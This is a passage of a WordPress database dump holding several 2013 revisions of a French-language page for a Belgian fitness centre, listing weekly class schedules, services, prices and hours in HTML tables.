5px;\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n\r\n\r\n\r\n\r\n&lt;h2&gt;Nous vous  proposons chaque jour :&lt;/h2&gt;\r\n- &lt;strong&gt;Team Training&lt;/strong&gt; : entrainements en groupe avec un coach qualifié (8 à 12 pers.)\r\n- &lt;strong&gt;Duo Training&lt;/strong&gt; : entrainements à deux personnes sous la supervision d’un coach\r\n- &lt;strong&gt;Personal Training&lt;/strong&gt; : un coach par personne, l’idéal pour progresser plus rapidement!\r\n- &lt;strong&gt;Coaching nutritionnel&lt;/strong&gt; : rendez-vous avec une diététicienne pour améliorer votre santé\r\n&lt;h2&gt;Prix :&lt;/h2&gt;\r\n&amp;nbsp;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px; border-bottom-style: dotted;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 séance : 9.00€1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 1 mois illimité : 69.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€Suivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Horaire :&lt;/h2&gt;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Du Lundi au Vendredi 4 séances : 17h30 – 18h15 – 19h00 – 19h45\r\nSamedi et Dimanche 3 séances : 11h00 – 11h30 – 12h00&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Personal et Duo Training (sur rendez-vous)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Tous les jours du lundi au dimanche.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Les cours :&lt;/h2&gt;\r\n&lt;strong&gt;En semaine&lt;/strong&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Lundi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Mardi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Mercredi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Jeudi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Vendredi&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;strong&gt;Le week-end&lt;/strong&gt;\r\n&lt;table style=\&quot;border: 1px; width: 30%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Samedi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Dimanche&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;11h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;11h30&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;12h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;TRX&lt;/span&gt; :&lt;/strong&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;Circuit GLFE&lt;/span&gt; :&lt;/strong&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issu de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-07-03 16:30:33', '2013-07-03 16:30:33', '', 11, 'http://www.crosstrainingcenter.be/?p=167', 0, 'revision', '', 0),
(168, 1, '2013-07-03 16:32:37', '2013-07-03 16:32:37', '&lt;h2&gt;Team Training :&lt;/h2&gt;\r\nEntrainements en groupe avec un coach qualifié (8 à 12 personnes).\r\n\r\nEn semaine :\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n\r\n\r\n\r\n\r\n&lt;h2&gt;Nous vous  proposons chaque jour :&lt;/h2&gt;\r\n- &lt;strong&gt;Team Training&lt;/strong&gt; : entrainements en groupe avec un coach qualifié (8 à 12 pers.)\r\n- &lt;strong&gt;Duo Training&lt;/strong&gt; : entrainements à deux personnes sous la supervision d’un coach\r\n- &lt;strong&gt;Personal Training&lt;/strong&gt; : un coach par personne, l’idéal pour progresser plus rapidement!\r\n- &lt;strong&gt;Coaching nutritionnel&lt;/strong&gt; : rendez-vous avec une diététicienne pour améliorer votre santé\r\n&lt;h2&gt;Prix :&lt;/h2&gt;\r\n&amp;nbsp;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px; border-bottom-style: dotted;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 séance : 9.00€1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 1 mois illimité : 69.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€Suivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Horaire :&lt;/h2&gt;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Du Lundi au Vendredi 4 séances : 17h30 – 18h15 – 19h00 – 19h45\r\nSamedi et Dimanche 3 séances : 11h00 – 11h30 – 12h00&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Personal et Duo Training (sur rendez-vous)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Tous les jours du lundi au dimanche.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Les cours :&lt;/h2&gt;\r\n&lt;strong&gt;En semaine&lt;/strong&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Lundi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Mardi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Mercredi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Jeudi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Vendredi&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;strong&gt;Le week-end&lt;/strong&gt;\r\n&lt;table style=\&quot;border: 1px; width: 30%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Samedi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Dimanche&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;11h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;11h30&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;12h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;TRX&lt;/span&gt; :&lt;/strong&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;Circuit GLFE&lt;/span&gt; :&lt;/strong&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issu de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-07-03 16:32:37', '2013-07-03 16:32:37', '', 11, 'http://www.crosstrainingcenter.be/?p=168', 0, 'revision', '', 0),
(172, 1, '2013-07-03 16:35:39', '2013-07-03 16:35:39', '&lt;h2&gt;Team Training :&lt;/h2&gt;\r\nEntrainements en groupe avec un coach qualifié (8 à 12 personnes).\r\n\r\nEn semaine :\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;theure\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td &gt;TRX&lt;/td&gt;\r\n&lt;td &gt;CARDIO&lt;/td&gt;\r\n&lt;td &gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td &gt;GLFE&lt;/td&gt;\r\n&lt;td&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td  class=\&quot;theure\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td  class=\&quot;theure\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td  class=\&quot;theure\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n\r\n\r\n\r\n\r\n&lt;h2&gt;Nous vous  proposons chaque jour :&lt;/h2&gt;\r\n- &lt;strong&gt;Team Training&lt;/strong&gt; : entrainements en groupe avec un coach qualifié (8 à 12 pers.)\r\n- &lt;strong&gt;Duo Training&lt;/strong&gt; : entrainements à deux personnes sous la supervision d’un coach\r\n- &lt;strong&gt;Personal Training&lt;/strong&gt; : un coach par personne, l’idéal pour progresser plus rapidement!\r\n- &lt;strong&gt;Coaching nutritionnel&lt;/strong&gt; : rendez-vous avec une diététicienne pour améliorer votre santé\r\n&lt;h2&gt;Prix :&lt;/h2&gt;\r\n&amp;nbsp;\r\n&lt;table style=\&quot;border: 0px; width: 